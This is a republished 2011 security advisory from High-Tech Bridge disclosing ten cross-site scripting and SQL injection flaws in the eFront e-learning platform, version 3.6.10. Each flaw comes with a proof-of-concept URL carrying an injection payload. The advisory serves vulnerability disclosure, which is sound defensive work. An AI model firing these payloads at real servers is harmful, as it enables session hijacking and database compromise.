Multiple vulnerabilities in Efront

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13 Ιουν 2012 (πριν από 4 χρόνια και 6 μήνες)

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Multiple vulnerabilities in Efront
Source: http://www.derkeiler.com/Mailing−Lists/securityfocus/bugtraq/2011−11/msg00010.html
From: advisory@xxxxxxxxxxx•
Date: Wed, 2 Nov 2011 12:18:40 +0100 (CET)•
Vulnerability ID: HTB23053
Reference: https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_efront.html
Product: Efront
Vendor: EPIGNOSIS Ltd ( http://www.efrontlearning.net/ )
Vulnerable Version: 3.6.10 build 11944 and probably prior
Tested Version: 3.6.10 build 11944
Vendor Notification: 12 October 2011
Vulnerability Type: XSS, SQL Injection
Status: Fixed by Vendor
Risk level: High
Credit: High−Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ )
Vulnerability Details:
High−Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Efront, which can be
exploited to perform sql injection and cross−site scripting attacks.
1) Input passed via the "course" GET parameter to index.php is not properly sanitised before being returned to
the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of
affected website.
The following PoC code is available:
http://[host]/index.php?ctg=lesson_info&lessons_ID=1&course=%27%20onmouseover%3dalert%28document.cookie%29%3E
2) Input appended to the URL after index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an
affected site
The following PoC is available:
http://[host]/index.php/%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Successful exploitation of this vulnerability requires that Apache's directive "AcceptPathInfo" is set to "on" or
"default" (default value is "default")
3) Input passed via the "message_type" GET parameter to index.php is not properly sanitised before being
returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of
Multiple vulnerabilities in Efront
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affected website.
The following PoC code is available:
http://[host]/index.php?message=1&message_type=%22%20onmouseover=alert%28document.cookie%29%3E
4) Input passed via the "user2" GET parameter to ask_information.php is not properly sanitised before being
used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
http://[host]/ask_information.php?common_lessons=1&user1=professor&user2=%27%20union%20select%201,version%28%29%20−−%20
Successful exploitation of this vulnerability requires that "magic_quotes_gpc" is off.
5) Input passed via the "ctg" GET parameter to professor.php is not properly sanitised before being returned to
the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of
affected website.
The following PoC code is available:
http://[host]/professor.php?ctg=%22%20onmouseover=%22alert%28document.cookie%29
6) Input passed via the "ctg" GET parameter to student.php is not properly sanitised before being returned to
the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of
affected website.
The following PoC code is available:
http://[host]/student.php?ctg=%22%20onmouseover=%22alert%28document.cookie%29
7) Input passed via the "done_test_id" GET parameter to view_test.php is not properly sanitised before being
used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
http://[host]/view_test.php?done_test_id=1%20union%20select%201,2,%28select%20version%28%29%29,4,5,6,7,8,9,10,11,12%20−−%20
Successful exploitation of this vulnerability requires attacker to be registered and logged−in.
8) Input passed via the "user" GET parameter to view_test.php is not properly sanitised before being used in a
SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
http://[host]/view_test.php?test_id=1&user=%27SQL_CODE_HERE
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Multiple vulnerabilities in Efront 2
http://[host]/view_test.php?content_id=2&user=%27SQL_CODE_HERE
Successful exploitation of this vulnerability requires that "magic_quotes_gpc" is off.
9) Input passed via the "ctg" GET parameter to administrator.php is not properly sanitised before being
returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of
affected website.
The following PoC code is available:
http://[host]/administrator.php?ctg=%22%20onmouseover=%22alert%28document.cookie%29
10) Input passed via the "loglessonid" GET parameter to /modules/module_chat/admin.php is not properly
sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
http://[host]/modules/module_chat/admin.php?force=getLessonFromId&loglessonid=−1%27%20union%20select%20version%28%29%20−−%202
Successful exploitation of this vulnerability requires that "magic_quotes_gpc" is off.
Solution: Upgrade to the most recent version
Disclaimer: Details of this Advisory may be updated in order to provide as accurate information as possible.
The latest version of the Advisory is available on the web page in Reference field.
Multiple vulnerabilities in Efront
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